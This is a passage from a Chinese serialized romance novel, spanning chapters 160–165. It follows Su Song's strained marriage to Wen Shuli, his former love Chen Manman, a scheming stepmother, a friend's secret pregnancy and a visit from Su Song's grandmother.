“丽姐,我认出来了,下次要伪装,记得把衣服换一下,也不想想,哪几个人有你这样**的好身材。”苏颂拍拍她的肩膀。
闫丽笑着,扭着腰肢转身:“小嘴,死甜。”
她拿下口罩,露出那张没化妆,也明艳的脸庞。闫丽打量苏颂:“怎么住院了?”
苏颂正穿着医院的病服。
她简单说了一下,又指着检查室的门:“丽姐,你来妇产科干什么?”
“你怀孕了?唔……”
闫丽一把捂住苏颂的嘴:“小声点。”
阿姨察言观色的本事已经炉火纯青,看出那是太太的朋友,自动退到另一端的等候椅上坐着,保持距离,又能看得到苏颂。
闫丽对她笑着点头,阿姨也回以笑容,然后开始看墙,不去听她们说话。
在苏颂觉得要透不过气的时候,闫丽终于松开手。
“真的?那你为什么搞失踪?李斯俊正找你。”苏颂的心情有些沮丧,自己想怀怀不上,不想怀的倒是怀上了。
闫丽一直推崇单身主义,之前跟蓝湛好的时候,蓝湛总是开玩笑,让她怀孕就结婚,都被闫丽拒绝,她说她一个人就能活得好,不想结婚找罪受,生娃找难受。
因为意见不合,她跟蓝湛一直吵。
但苏颂见过闫丽另一面,有一次,闫丽跟蓝湛吵完架喝多了,碰上她去找她,醉酒的闫丽说出心里话“我这样的女人,生出来的孩子也会遭到歧视,我遭受这个世界的罪够多了,何必带多一个来世上受罪。”
“哦,忘记跟他说了,我不开店了。”闫丽一副轻松的口气。显然她想走就走的性格已经刻在骨子里,并没有觉得自己忽然失踪是多大的事情。
苏颂复杂的看着她:“丽姐,别打掉,你要是不想要,给我养,我有钱还有公司,我让温戍礼接受他,他不会被歧视的。
我一直怀不上,可能不能生了,我会把他当成自己的宝宝。”
说着说着,苏颂倒是把自己说感动了,眼眶都红了。
闫丽一巴掌直接朝着她的后脑勺招呼过去。
“胡说什么,别被我儿子听到。”
对上苏颂疑惑的目光,闫丽抬头挺胸,很自信很肯定的说:“我藏起来,就是
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想生下他。”她看着苏颂,“你是来查不孕?”
苏颂揉着后脑勺说:“还不知道。”
“那你哭什么劲?!”闫丽是个乐观主义者,最不喜欢自己先杞人忧天。
看着闫丽摸着肚子,苏颂口直心快:“是不是周家小叔不让你生。”
闫丽:“……关他屁事!”
两个女人到苏颂的病房里聊,门关上,不用担心被人听到,苏颂直接问:“孩子真的是小叔的?”
闫丽剔她:“什么意思?”
苏颂说:“丽姐,我没有别的意思,但你在店里乱搞,已经被正焕知道了,我只是想提醒你,如果不是小叔的,你得小心点。”
末了,苏颂又补充:“小叔那样严肃正经的人,不会在店里……就把持不住。”她有些难以启齿,总之就是不信在店里跟闫丽放纵的人是周扬平,“桌子椅子都倒了,跟打架差不多。”
闫丽翻着白眼:“得,感情在你眼里,姐也是坏,也是浪,就姓周的是正人君子。”
“不是……”
“那姓温的,还有人说他不近女色呢,怎么经常在你身上种草莓,他就不表里不一?”
苏颂被怼了一下,悄悄问:“真是周家小叔的?那你走什么,小叔现在单身,这把岁数了还没子女,周老爷子很担心,正焕说,他爷爷还打算让小叔去做试管,留个后。
你不用担心门第,再不济,孩子他们也会认。”
只要周家人认,以周家的身份地位,就没人敢议论孩子的出身。
苏颂说得天真又认真,闫丽却转了一下眼珠子:“还不知道是不是他的。”
这下,苏颂的眼睛瞪得跟铜铃一样大了。那刚才还那么凶!
因为闫丽跟周扬平在一起的时候还不忠,苏颂很怕这事被发现,周扬平会撕了闫丽。
虽然他们都知道闫丽感情史丰富,但过去跟正发生是不一样的,以周扬平的能力跟性格,要闫丽死都行。
所以为了保护闫丽母子的安全,苏颂没把遇到闫丽的事情说出去。
闫丽已经走了,苏颂却在床上翻来覆去,忽然她坐起来,把正在收拾衣服的阿姨吓一跳。
“难道是那个银色面具男人的?”
160 温大少另有隐情。继母上门挑衅
这边,温戍礼忙了一晚上,才把人保出来。
陈曼曼低头跟在他身后,经过一晚上的折腾,一向岁月静好的名媛,此时也染上了狼狈,裙子都脏了。
“戍礼哥,我害怕。”
“知道怕,你还敢这样干?”温戍礼转身,劈头盖面就是严厉的责备,他已经够隐忍了。
“我当时就跟你说了,你母亲的事情我会给你一个交代,但你必须听我的,不然我不会管你,你现在在干什么?
**?好啊,有本事你就直接将人杀死,别弄不死别人,反而还要人来给你擦屁股!”
像温戍礼这个地位跟教养的人,话都说得这样难听了,可见其生气程度。陈曼曼是第一次听到他这样说话,看他这样生气,愣住了。
陈曼曼的母亲是车祸死的,而撞死她的人好巧不巧是盛泰的高管,苏氏刚上市,盛泰沾了一些风头,加上现在是他在管理盛泰,温戍礼的意思,是要把事情压下去。
要不然,他又怎么会回头管背叛他的人的事。
可这事,要完全的瞒下来,就得做得密不透风,所以他连苏颂都没有说。
他都做到这样了,结果呢?陈曼曼半夜拿刀去捅人,把人捅出个皮外伤,自己却被带进局子里,还不知道现在这件事闹得多开。
温戍礼快要被这个女人给气**,愚蠢!
女人的泪水在眼眶里打转,并没有让男人心软一分。
“你如果还想我帮你在陈家立足,你就安分一点,别搞事。要不然,你就真的找个地方死,别被我看到。”
“脏了眼睛!”
温戍礼转身上车,半分留情都没有,这话已经毫无面子可言,但偏偏,陈曼曼还是灰溜溜的跟着上车了。
“我……我不能被人看到。”现在是在警局门口,万一被人碰见,或者拍照威胁,一挖,可能就会把盛泰高管失误撞**的事情也扒拉出来。
陈曼曼是沉不住气,但绝对不是没脑子,她知道,现在温戍礼顾忌的就是事情传开,影响盛泰,所以她用自身的处境,让他心软。
温戍礼看都不看她,闭眼休憩。
到底,没把人赶下去。
等把人送到,温戍礼第一句话就是,消毒。
肖直知道上司有洁癖,车上要是坐了别人,待会空车,他就要开去洗车,这样人刚下去,就要消毒的,这位陈小姐是第一个。
身为助理,他知道,这位陈小姐在上司面前,彻底凉凉了。
曾经圈子里流传的唯一能近上司身的白月光,被她自己作没了。
在肖直看来,陈曼曼要是聪明的话,便利用这次机会,继续在上司面前装可怜,这样一来,出于上司要考虑利益跟影响,加上男人铁血的天性,会怜惜女人的脆弱,愧疚加同情,再不喜,这位陈小姐下半辈子也不需要担心。
有他上司撑腰,陈家绝不敢把她赶出家门。
可偏偏如今的陈曼曼急了,还选择了最不自量力的办法,给他上司增加了麻烦。
要知道陈曼曼当年一场豪门梦,可是经营了近十年,如何却连一天都沉不住。
不过肖直也知道,是因为上司拒绝去见她,昨晚,陈曼曼后面还给他打过电话,但上司没命令,他是不会擅自行动的。
现在的上司有了太太,并且对太太逐渐上心。
想到这里,肖直知道,以后自己考虑上司的私人方面,得把太太也考虑进去。
当助理,要事事妥当。
。
这边,苏颂拿到检查报告,显示一切正常后,让阿姨办理了出院手续。
她没给温戍礼打电话,也没有告诉他,苏颂心里赌气,不想跟他说话,哪知道,她刚出电梯,就在家门口看到一位不速之客。
林美丽。
屋内,阿姨上茶,一边悄悄打量着打扮得珠光宝气,又一脸粉的贵妇。太太并没有做介绍,但这个人一直伸着长脖子,仰着下巴,一身五彩斑斓的,像是乡村里爱斗的公鸡,让她不由得偷瞄几眼。
“这就是戍礼新聘请的佣人?怎么一点礼貌都没有
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,眼睛乱瞟,泡的茶也难喝。
呸,这是人喝的吗?”
林美丽喝了一口,然后很夸张就把茶吐出来。
阿姨很不可置信,但苏颂对她摇了摇头,阿姨便端着茶走开了。
苏颂问林美丽:“阿姨怎么突然来了?”
她跟温戍礼结婚第二天就搬来这里住,林美丽安心霸占着温家的大别墅,从没有来过这里。
突然到访,让苏颂严阵以待。
事出反常必有妖!
林美丽左右看了看,确定只有她们两个人,不会有人偷听,才说:“最近戍礼对我的误会有点大,我知道是阿泰那小子混账,竟然对大嫂有意思。”
说着,林美丽来拉苏颂的手,苏颂突然感受到手背上传来的温热,只感到一阵恶心漫上心头。
这个人,真的虚伪得,令人反感。
“不过打也打了,他也被你爸送出国了,现在也没回来,够惨了,让戍礼就放过他一回,让小娟的孩子生下来吧。
我现在一睡觉就担心小娟肚子里的孩子,做梦都是她流产,孩子没了画面。
你让戍礼放过我们吧。”
小娟,那个夜场小姐,据说是怀了温泰的孩子,原以为这人是林美丽用来对付温戍礼的,没想到事败后,她竟然还留着这个人,还打算让对方生下这个孩子。
给她和温航之敬了两年的茶,苏颂可是清楚得很,林美丽有多宝贝她的两个儿子,甚至一直信誓旦旦,要两个儿子娶两个门第高过苏家的媳妇,压温戍礼一头。
不过转念一想,这个孩子如果生下来,就是温家第一个孙子,到时候去母留子的话,影响不大,甚至还能为温泰回国多一个筹码,毕竟孩子不能没了妈还没爸,而林美丽吹枕边风的技术一流。
苏颂心想,温戍礼那么聪明,肯定也想得到这一层,但他真的连一个孩子都容不下吗?
“我知道,你们结婚多年,一直没有孩子,阿泰没结婚反而先当爹,多少会让你们不舒服,但这也没办法啊!”
161 男人为什么要有白月光?讨厌**
只要温航之不在,林美丽私下面对苏颂,总是毫不掩饰,这会她的眼睛赤裸裸的落在苏颂的肚子上,好像在说“谁叫你不能生”一样。
当年那次人流,一直是苏颂的心病,加上备孕一年了,迟迟没动静,她也为怀孕的事情焦躁。
于是她甩出报告单:“我们都很健康。”上一次温戍礼的报告单调换了,温戍礼私下有拿对的报告单给她看,身体没问题。
只见她坐在那,板着脸,把手抽出来,直接怼回去:“再晚生,我跟戍礼的孩子才是温家的长孙。
一个私生的,要了也没脸。”
一句话得罪林美丽两次,一是地位,现在温戍礼已经坐稳盛泰CEO的位置,又是名正言顺的温家大少。
二是出身,虽然苏颂看似是在说温泰跟小娟的孩子名不正言不顺,但林美丽当年怀温泰的时候,温航之跟宋霜宜还没离婚,后面是孩子都生了,亲子鉴定做了,温航之才跟她领证。
因为这件事,林美丽没少被圈子里的贵妇笑话。
这会苏颂提了,林美丽脸色变了,但到底忍下了,谁叫她两个儿子,一个靠不住,一个还不可靠呢,温戍礼现在势头好,连带着苏颂的身份也水涨船高,林美丽一向能屈能伸。
“你也知道我说话就这样,不是这个意思。”林美丽把报告单子整理好,帮苏颂放在桌子上。
苏颂挺直腰杆,忍了四年,总算是在后婆婆面前,硬气了一会。她学着之前林美丽为难她的姿态,故意拖着音说。
“算算时间,那孩子也足月了,现在生都没问题,阿姨就是关心则乱。”
林美丽在苏颂这里碰了一鼻子灰,讨好的话,面对苏颂,她是真开不了口。缓和关系没有,反而惹苏颂生气,林美丽只想快点走人。
结果刚准备起身,手机就叮咚叮咚响。
林美丽拿出来一看,吓了一跳,居然是温戍礼的照片。
苏颂坐得不远,手机屏幕大,她已经看到了。
照片上,温戍礼正跟陈曼曼谈着话,不知道说什么,拍到的是陈曼曼的正面,她一双杏眼秋水一般漾波,看着男人的目光,似哀求似爱慕。
苏颂何止看到了,还看得很清楚。
原来,丢下她在医院一晚上,就是去陪陈曼曼啊,看上去很般配呢!
他的背影坚硬挺拔,半个身躯跟陈曼曼半个身体重叠,看上去,可真像一对亲密完,不舍得分开的恋人呢。
林美丽心虚的说:“我可没让人跟踪戍礼,是跟着陈曼曼。”
“跟着陈曼曼干什么?”
面对苏颂的发问,林美丽没回答,总不能说是她去年设计让陈曼曼背了锅,让苏颂深陷照片风波的帽子全数落在陈曼曼头上,让她被送出国,现在陈曼曼回来,怕她报复,所以才让人跟着的吧?
林美丽心思百转,嘴上却圆滑得很:“你不知道,戍礼在没娶你之前,跟她好着呢,我也就是留个心眼。
到底,你是我先看中,进门的,我肯定站你这边。”
林美丽走了,留下苏颂在沉思,她当然不信林美丽的鬼话,但温戍礼跟陈曼曼在一起,一晚上都在一起,她的脑子不受控制的想。
戍礼之前跟陈曼曼好着呢。她当然知道,她一直都知道。
第一次听到陈曼曼的名字,是从温戍礼的好兄弟关雎鸠嘴里。苏颂想打听温戍礼的喜好,她觉得关雎鸠安静,又是特警,嘴巴应该牢靠一点,人也可信一些,于是就去问他了。
果然,对于她的询问,关雎鸠都回答了,他对苏颂的态度客气又礼貌,像是已经接受她是兄弟的老婆,当成嫂子在尊重。
可是她一转身,就听到关雎鸠跟人打电话说:“戍礼会娶她,挺让人意外。我以为他会娶陈曼曼。”
陈曼曼,那是谁?
然后苏颂就一发不可收拾的,像是中了陈曼曼的心魔,借着打听温戍礼的喜好,一直打听这个人,随着听到的信息越多,越是知道温戍礼对她的特别性,她心里就越是拧着劲,怎么都舒坦不了。
苏颂到厨房,看到阿姨正一边熬着药,一边念
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念叨叨的:“还佣人?大清都灭亡一百多年了。”
“还呸?一点素质都没有。”
苏颂忽然觉得这个阿姨有点可爱,靠在门上,说:“她确实没什么素质。”
“啊,太太,我不是有意要议论你的客人的。对不起。”阿姨吓得两手一直在围裙上搓,同苏颂道歉。
苏颂摇摇头:“那不是客人,是戍礼的后妈。”
“啊?”
眼看阿姨被吓得更厉害了,苏颂不再逗他:“连客人都不如的后妈,我也很不喜欢她。”
林美丽这次来,大概是被温戍礼压得没办法了,她上次竟然想着趁温戍礼不能生,想以此让温泰回来,好在温戍礼早有预判,扳回局面,才没让林美丽的计谋得逞。
林美丽今日的妆很厚,但近距离看,还是能看到脸上的指痕,大概是真没办法了,所以才会来找他们求和。
苏颂瞥见刚才林美丽用过的杯子:“丢了吧。”
“嗳,我刚才就想丢的,多脏啊!”
苏颂被阿姨的可爱惹笑了,于是心情好的爆多一点料。
“林美丽家是收废品的。”
所以这点脏,大概她自己都不觉得。
阿姨一听,“哎哟”一声,眼神都瞧不上了,不过她自己有分寸,雇主愿意说,那是雇主亲和,她可不能议论雇主的家人家事,那是越界。于是没再多说。
苏颂却想,一个收废品养大的养女,竟然能成为首富夫人,撇开偏见,以林美丽为视角的话,那也是传奇了,妥妥的主角关环。
“太太,中药要慢炖,没那么快呢。”检查结果都正常,医生开了治疗痛经的中药。
苏颂点头:“嗯,我是想跟你说,我先去睡会,等会药好了你叫我。”
“好。”
。
苏颂以为,温戍礼至少要给自己一个解释,毕竟丢下身体不舒服的妻子在医院,怎么说都让人难过,可是他没有,不仅没有,他还带着陈曼曼一起参加宴会。
她想:男人为什么要有白月光?讨厌**。
162 闷骚男人的情话,只闷不骚
消息是温禾带来的。
苏颂最近又腻歪在茶楼里,温戍礼现在越来越忙,加上他对于丢下自己在医院,去陪陈曼曼这件事,一点解释都没有,苏颂嘴上不问,但心里介意。
问了,又怎么样呢?那晚她不是问了,还闹了,结果一向言出必行的男人,能前后不过半小时就出尔反尔。
大概这就是网上说的,爱与不爱的区别吧。
苏颂想,温戍礼对她的喜欢可能只是习惯,对陈曼曼才是真正的心灵上的中意吧。
所以,想要生活过下去,就不能问,问就是添堵。
温戍礼说她把苏氏放在第一位,也没说错,毕竟钱进口袋就是你的,人在身边,可心不一定是你的。
“善变的男人啊!”
苏颂一顿,她的心里话怎么说出来了,结果提起精神一看,是温禾说的。
温禾单手托腮,瘪着嘴,一副想不通的样子:“我叔那种禁欲男神都会出轨,是不是说明世界上就没有可以信任的男人?”
理论上,男人本就不可信,说到底,靠自己最实在,但是吧……
“你今天怎么这么多感慨?”温禾比苏颂小两岁,刚出大学的妹子,野心很大,性子很直,脑子很灵活,却没有那么多弯弯绕绕的肠子,平常在这里总是笑得很大声,不见忧愁的样子。
自从苏颂开了这家茶楼,温禾带了不少朋友过来,跟苏颂也处成了朋友,偶尔也会跟苏颂聊点私密话。
她说:“江灿最近都不理我,我不知道自己做错了什么。”
江灿,自打知道自己跟正焕的照片是他泄露的,苏颂就放弃搭他这条线了,但也没想破坏温禾跟他的关系,于是苏颂温婉的提醒。
“你们现在只是订婚,还没结婚,可以多了解一点,不知道就别内耗自己,你可以直接问他,一段关系总是会有摩擦跟磨合的阶段。”
温禾像是被点醒的梦中人,放下的手重重的拍在桌子上:“婶婶真不愧是过来人,我知道了。”温禾风风火火的走了。
苏颂挑眉耸肩,她哪是过来人啊,她跟温戍礼压根儿就没谈过,到现在还在磨合期呢。
只不过呢,她有种直觉,江灿对温禾的态度反常,可能跟他把照片转给林美丽的事情被温戍礼知道有关。
没办法,她的老公太优秀了,男的女的都吸引一大堆。
苏颂拿出手机,编辑文字发过去。
【今晚回来吃饭吗?】
屏幕上几乎都是“回来吃饭吗”跟他“是”与“否”的回复,每天一问一答,无聊到机械。似乎前几月在聊天软件上的腻歪只是假象,但苏颂更习惯这样的温戍礼,他主动起来,无非就是一句话多了几个文字。
例如说出差,他会是发【出差两天,想要什么礼物?】
以前只会发前半句,带句话。
然后到达出差地,就是一连串的珠宝或是包包的照片,他的调情手段只一个字:壕。
其实苏颂大部分只会觉得烦。
【不用。】
他的消息回复过来,苏颂以为自己可以不用早回去了,现在她连面对他都有点为难。刚才听温禾说温戍礼昨晚带陈曼曼参加宴会,导致一晚上贵太太们的话题都是她,苏颂就更不想回去做饭给他吃了。
不用回去最好。哪知道开心不过一秒,温戍礼又发来一条消息。
【奶奶来了,晚上我带她到茶楼吃饭。】
苏颂瞪大眼睛,她奶奶来南城了?!
三楼的包厢里,苏凤很是感慨的对温戍礼说:“看到你这么舍得为颂颂花心思,我很高兴,这茶楼的装潢,得花不少钱跟精力。”从门口到楼下到楼上,特别是这间不对外开放的包间,里面的笔墨挂画,绿植摆件,都不是俗物。
“我把颂颂托付给你,是正确的。你像你爷爷,重情重义。”
温戍礼看向苏颂,别有深意的说:“这是爷爷给我选的老婆,我要是不对她好,他老人家不半夜来打我。”
他竟然还有这样幽默的一面,苏凤被哄的哈
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哈笑,连苏颂都有些不好意思。
原来温式情话长这样。
两人就着话题又谈起温戍礼的爷爷,只要是温戍礼也在场,苏颂总是沦为背景板,她插不进话,就只能安静的听着。
这是苏颂第一次听到她奶奶谈及跟温家老爷子认识的过程,温老爷子去云城考察市场,进的第一家厂子,就是苏氏,他的计划被她奶奶否定了。
云城跟南城不同的是城市底蕴,过去几百年,云城一直是进贡品的生产地,当地被很多百年老企业主导,外来企业来了,要么难以生存,要么投入要非常大,对于扩展产业来说,不值得冒险。
苏凤一番真诚的话打动了温老爷子,两人因此成为朋友。
“这么说,我好像有点印象,我九岁那年,我爷爷带我去过云城,在一户人家住过几天,是苏家吗?”
听得昏昏欲睡的苏颂瞬间来了精神,只见她奶奶笑呵呵点头。
“是啊是啊,当时还没买那座四合院,住的是厂区的房子。你爷爷听说我生了孙女,就说要来看看。”
苏凤手一指,指着苏颂说:“那年颂颂刚出生,你爷爷夸她可爱,要颂颂给你当媳妇。
你看,我当初去温家讨亲,没有胡说吧。”
温戍礼斯文的笑,目光一直落在苏颂身上,低醇的嗓音道:“嗯,奶奶说的是真的。”
这黏糊糊的眼神是真的吗?他们聊得不尴尬,她都要尴尬了,怎么听,温爷爷当时就是开玩笑吧。
吃完饭,两人把苏凤送到酒店。跟温戍礼去云城不住苏家住酒店一样,她奶奶来南城也不想住到他们那里去。
上一秒,苏颂还跟温戍礼站在一起,对苏凤的叮嘱听从,跟他扮演一对恩爱夫妻,但下一秒,上了车,苏颂的态度就变了。
听到她的叹息声,温戍礼一边解开袖口,一边问:“怎么了?奶奶来了,你不高兴吗?”
苏颂看他:“这个时候让奶奶来,你不怕你跟陈曼曼的事,被知道吗?”
163 担心你的人,永远在为你操心
到底还是问了。
苏颂缓了缓呼吸,既然问了,不如问个明白。
她再次开口:“你为什么带陈曼曼参加宴会?我不是不让你带别的女伴,你之前的我也没管,但你真的不知道圈子里的人都怎么说你跟陈曼曼吗?”
除了最近一年,婚后头三年,温戍礼只带她参加过路老的宴会,之后,除了温家的宴会,他就没有带她出席过其他宴会了。
但是每一次温戍礼跟谁一起出席,那晚又是谁当女伴,苏颂都是知道的,因为林美丽总是会充当传声筒来告诉她,然后又阴阳怪气她没本事,不看好自己的男人,倒是每天积极给公公敬茶,打的什么歪主意。
苏颂抬起眼帘,亮晶晶的目光看着他:“我以为,你做事,有分寸的。”
温戍礼垂眸看她,一向深邃的眼,此时透出着不解:“为什么别的女人就行呢?”
那些女伴都不是温戍礼要带的,她都不问,就给他定了性质。
“你以为我故意不带你去,故意带别的女人?”
他身上忽然爆发的气场很强大,苏颂往边上躲了躲,忽然不敢看他。
“是谁在宴会上睡着了的?你知不知道我带着你提前离场……”我丢下的是多少权贵人脉,那场宴会是我用了多少门路,花了多少精力,才获得的邀请函。
余下的话,温戍礼没说,如她所说,他一向成熟稳重,不做不当的行为,也不会说不当的气话。事情已经过去,当时也是他拒绝路家人让苏颂在房间休息的提议,自己决定带她先走的。
他并不后悔,只是她竟然还说这种话。
温戍礼揉了揉眉心,忽然觉得很疲倦。
“我看出你最近不太高兴的样子,才打电话给奶奶,让她腾出两天时间过来。
你总是不知道我的用心,甚至不知道我承受的压力。”
这些年,温戍礼一直卯着劲,默默承受家族重担,其实跟温家那三母子斗智斗勇就够累了,后来又加上苏氏,他有没有三头六臂,怎么可能不累呢。
但是她在意啊,每当苏颂问他苏氏最近怎么样了,他总想回答好起来了,然后她就会笑。为了能回答“好起来”这三个字,他只能每天每夜的工作,没钟没点的出差奔波。
“既然你都不介意我带别的女伴,那陈曼曼怎么就不行!”车子停在小区门口。
苏颂哑然片刻,才想起来当年为什么会在路老的宴会上睡着了。
“我当时就是怀孕了,我还不知道。”孕早期嗜睡。后来温戍礼没问,她也不想提起孩子这件事,所以这事就一直没说。
“够了。怀孕的事情顺其自然就好了,你也不用给你自己太大压力,更没必要把检查单拿给每个人看,林美丽那个人,是不会希望我们生孩子的。
你告诉她你很健康,只会招惹她的算计。
苏颂,我最近真的挺累的,学会保护自己安全,别再让我费心,好吧。”
苏颂张了张口,还没说话,温戍礼便开了锁:“我还有事要处理,你先回家。”
苏颂下了车,站在路边,看着黑色的车子疾驰而去:“你还没说,要是被奶奶知道陈曼曼的存在,我该怎么回答呢。”
她低着头,声音低低的:“别的女伴我不介意,是知道你对她们没意思,你甚至都不让她们靠近你,可是,陈曼曼不一样啊。你们还手牵手呢。”
那一晚,在包厢,她开门进去全看到了,温戍礼的手是在上面的,所以还是他去拉陈曼曼的手才对。
她一边踢着路边上的小石子,一边往着小区大门走,走了几步,有人喊她。
“颂颂。”
苏颂左右张望,只见一身黑夹克的李斯俊从树下走了过来。
光影从下而上的渐渐散开,他的脸庞逐渐清晰。帅气的脸少了年少的英气,多了一抹岁月沉淀后的成熟。
“在想什么?”
苏颂愣了一下,回神,她刚才居然把李斯俊的脸替换成了温戍礼的脸。
“我忽然觉得你有点像戍礼。”苏颂如实说,不是长相,就是感觉。
闻言,李斯俊顿了顿,
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表情有意外,但一闪而过。他没有跟苏颂继续讨论这个话题,他讨厌温戍礼,连他的名字,都不想听,特别是从她口中。
她竟然喊姓温的“戍礼”,叫他却总是连名带姓。
“李斯俊,你怎么在这?”
她仰着脑袋,她很好看,这个动作更多了一抹俏皮,但李斯俊却撇开眼:“连名带姓叫人,你礼貌吗?”
苏颂噎了一下,奶奶是教过她不能连名带姓喊人,但是她之前都是这样叫的,也就只这样叫他。
算了,李斯俊不喜欢就不要了,于是,苏颂重新喊了一遍:“斯俊,你在这里干嘛?”
李斯俊看着她,道:“来跟你道别。我姐不想出现,就不会让我找到,我要回云城了。
我来,是想告诉你,你也不用担心她,你知道我姐那人的适应性。
到哪都能活好。”
倒是你,过得好吗?一句话,卡在他的喉咙里,他在这里已经等了好一会了,他看到她从温戍礼的车下来,也看到她下车后,变得闷闷不乐的样子。
他居然把她放在门口就走了,现在已经这么晚了,都不担心她的安全吗?!
难怪正焕回担心,想带她走。难怪他姐会说姓温的对她不上心。
李斯俊越想越气,看苏颂的目光越发的怒火上升。
苏颂站在跟大门只有十几步距离的位置,丝毫不清楚,这十米的距离,已经被对面男人的脑子里,幻想成漫漫长路,路上还险象环生,好像下一秒就会有坏人来抓她。
“我没有担心。你,太近了。”苏颂一手放在胸前,上半身微微后仰,拉开一些距离。
李斯俊这才意识到自己的失态,退了一步。因为周正焕一时莽撞,她已经不理他了,他不能再冲动。
他稳了稳心态,对她说:“再见。”
黑色的身影很快就跟夜色融为一体。苏颂却有些心虚。
“李斯俊呐,我不是故意瞒着你的,是丽姐不让说。而且丽姐现在的处境真的很危险,少一个人知道,多一点安全。”
164 不管我带别的女人?还真大方。
温家,林美丽在房间里,焦灼的来回走动。
自从那天从苏颂那回来后,她这些天就在等,等啊等,等啊等,结果没等来苏颂跟温戍礼吵架闹掰的消息,倒是等来了温戍礼公然带陈曼曼出席宴会的事情。
“这个苏颂,难道为了保住‘温太太’的位置,放任丈夫在外养人都不管吗?”
坐在小沙发上,正翘着腿,拿着笔记本在看盘的温衡说:“妈你就是瞎操心,昨晚的宴会是陈耀辉表姐办的,依我看,大哥会带着陈曼曼一起去,纯粹就是给她撑腰。
前阵子,陈耀辉要跟女儿断绝关系的事情,不是闹得沸沸扬扬吗,陈耀辉的老婆容不下她,大概我大哥就是感同身受,才帮她一把吧。”
“你说什么呢!我什么时候容不下你大哥了,他妈走的时候他才八岁,他不是我养的啊!”林美丽气急败坏。
为什么她比较喜欢大儿子,比较不喜欢小儿子呢,就因为大儿子嘴比较甜,会站在她这边。而这个小儿子从小就不定性,做事随心所欲,做人也随心所欲。偏偏他自己还自以为是,说他是真性情,占理不占亲。
狗屁,不占亲,他有本事去了华尔街就别回来了啊,还不是崩盘了,回来要钱!
别人说就算,自己的亲儿子居然也这样说她,林美丽要气**!
温衡蹙了蹙眉,镜片后面的目光都是不耐烦。
“妈,你能不能听我说完。
帮是情分,不帮是本分。我大哥那人也不是热心肠的人,极有可能是因为陈曼曼母亲的死一事,陈曼曼不闹了,她妈也火化了,其中,两人肯定达成了什么协议。
比如,我大哥给她撑腰,让她继续当陈家大小姐。”
儿子这个解释,林美丽完全能接受。
现在温航之还没对外宣布盛泰就是温戍礼的,林美丽贼心不死,觉得自己两个儿子还有机会,所以并没有在盛泰高管撞死陈曼曼生母这件事上做文章。
但是,这件事,明明是挑拨苏颂跟温戍礼很好的机会,他们却相安无事,这让林美丽心里很不平啊!
凭什么,每次温航之一想到宋霜宜就打她,温戍礼是他们的儿子,怎么没随他爸,打苏颂呢?
林美丽快把美甲给绞断了:“这个小**,真好命!”
“妈,你是不是想让我大哥和大嫂,因为陈曼曼,闹得鸡犬不宁?”
林美丽扬眉,目光扫过去:“你有办法?”
温衡把笔记本合起来,手指交叉,笑得狡黠。
“苏老太太不是来了吗?她要是知道唯一的孙女在这里受委屈,忍得了吗?”
母子俩视线一对,林美丽“啊”的张大嘴巴,毫不吝啬的夸赞小儿子:“你的脑子就是比你哥好用,打小就聪明!”
。
这边苏颂躲在房间里跟闫丽打电话,告诉她,李斯俊要回云城的事情。
闫丽说:“这个傻小子,早该回去了。不过我知道他醉翁之意不在酒,是想借机多见你几次吧。”
这种暧昧的话,苏颂从闫丽嘴里听到过几次了,一开始还不觉得有什么,但听多了,总觉得说的好像李斯俊喜欢她似的。话不能乱说。
“丽姐,你以后别说这种话了,别万一别人误会,对李斯俊不好。”
“有什么不好的?”
“他还没结婚,不知道有女朋友没有,你总说得他好像暗恋我一样,对他影响不好。”
苏颂以为就是闫丽的性子,爱开这种玩笑,哪知道她接下去就说:“他本来就暗恋你。”
空气静谧了两秒,苏颂半晌才找到自己的声音:“你说什么呢!”
“我说……”
“我结婚了。”
那端的闫丽这才嘘声。
“我不用管他影响不影响,但是不能影响到你。好了,是姐一孕傻三年,胡说的,你当没听到。”
“这种话,不能乱说。”苏颂严厉起来,第一次对闫丽的口无遮拦警告。
挂了电话,苏颂听到外面的开门声。她急匆匆的出去,结果却是阿姨。
阿姨被她忽然冲出来的样子吓到,举着空空的手说:“我下去丢垃圾。”
不是温戍礼。
苏
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颂的心瞬间跌到谷底,他们的感情又变得冷淡了,但这一次,苏颂更加的不安。
他真的要选择旧爱,抛弃她吗?在她相信他喜欢她,在她对这段感情看到一丝希望的时候,他这么绝情吗?
苏颂原以为,她跟温戍礼就是联姻,一开始就没有感情,只要过得下去,对双方都好就行。
可那是一年前的心态,现在,一想到他的心里藏着别的女人,苏颂都反感,可是闹了情绪之后,她又会后悔,就跟现在一样。
十一点了,他还没回来。
这么晚了,他在哪?
。
温戍礼在King,今晚他没有喝酒,自从上次喝酒,被陈曼曼进来,发生了那样一幕被苏颂看到,温戍礼就没有晚上喝酒了。
他酒量好,不至于醉,但喝多了,反应迟钝一些是会的,他当时是要拿开陈曼曼的手,结果就是因为慢了一些,结果就被苏颂推门进来看到了。
“既然无所谓,那晚又闹什么?”温戍礼抽着烟,心里十分不痛快。他冷笑一声,“不管我带别的女人?还真大方。”
“我的大少爷,你都快把房间烧了。嫂子又怎么你了吗?”
顾辽舟是被温戍礼的电话给叫过来的,一进门就被这白烟萦绕的空气呛到,捂着鼻口,尽量不让自己咳嗽。
他走到温戍礼身边坐下,轻咳两声,压下嗓子的痒,说:“我忙着呢,没时间当你的情感导师。”
温戍礼掸了掸烟灰,目光移过来看他:“那个女人有主,不该你上心。”
这段时间,顾辽舟一直在找闫丽,甚至不惜动用了顾家余留的势力。
温戍礼的话是提醒,也是警告。到底,现在南城里,谁有周家的背景硬呢。
特别,那还是周扬平的女人。
闻言,顾辽舟嗤笑:“她是谁的女人?那个男人敢找她吗?”
温戍礼把烟摁灭在烟灰缸里。
“随你。”身为朋友,他已经尽到提醒的义务。都是成年人,自己为自己的行为负责,包括他!
“找你有事,帮我办。”
165 温式解释:自己没嘴,别人长了
隔天,苏颂来找苏凤,苏凤见她一个人,问:“戍礼呢?”
苏颂原本正偷偷打哈欠,闻言,立刻说:“他出差了。”
苏颂昨晚见已经十一点了,温戍礼还没回来,心里又不是滋味,以为他跟自己怄气,还要不管门禁,于是打了电话过去。
结果温戍礼说,他要去出差,人在路上。
她听见那端机场的广播声,心里的石头落了地——原来不是跟她闹脾气。
她有些松口气的说:“戍礼说是突然的,让我代他跟您说句抱歉,还让我好好陪您呢。”
苏凤点了点头:“工作要紧,我也没什么事。”
苏颂坐在椅子上,晃着双脚,闻言,回:“奶奶真的把工作放在第一位。要不是他让您抽两天时间过来,您是不是也没想过来?
明明当时说,等苏氏上市了,您就过来看我。”
